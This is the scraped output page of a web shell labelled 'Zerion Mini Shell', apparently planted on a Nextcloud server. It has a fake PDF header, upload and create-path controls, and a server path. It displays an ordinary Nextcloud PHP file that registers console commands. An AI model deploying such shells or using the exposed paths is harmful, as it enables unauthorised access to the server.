%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/nextcloud.varak.net/nextcloud/apps/app_api/appinfo/
Upload File :
Create Path :
Current File : /www/varak.net/nextcloud.varak.net/nextcloud/apps/app_api/appinfo/register_command.php

<?php

declare(strict_types=1);

use OCA\AppAPI\Db\Console\ExAppOccCommand;
use OCA\AppAPI\Service\ExAppOccService;
use OCP\IConfig;
use OCP\Server;

use Psr\Container\ContainerExceptionInterface;
use Psr\Container\ContainerInterface;
use Psr\Container\NotFoundExceptionInterface;
use Symfony\Component\Console\Application as SymfonyApplication;

try {
	$config = Server::get(IConfig::class);
	$serverContainer = Server::get(ContainerInterface::class);
	if ($config->getSystemValueBool('installed', false)) {
		$exAppOccService = Server::get(ExAppOccService::class);
		/**
		 * @var ExAppOccCommand $occCommand
		 * @var SymfonyApplication $application
		 */
		foreach ($exAppOccService->getOccCommands() as $occCommand) {
			$application->add($exAppOccService->buildCommand(
				$occCommand,
				$serverContainer
			));
		}
	}
} catch (NotFoundExceptionInterface|ContainerExceptionInterface $e) {
}

Zerion Mini Shell 1.0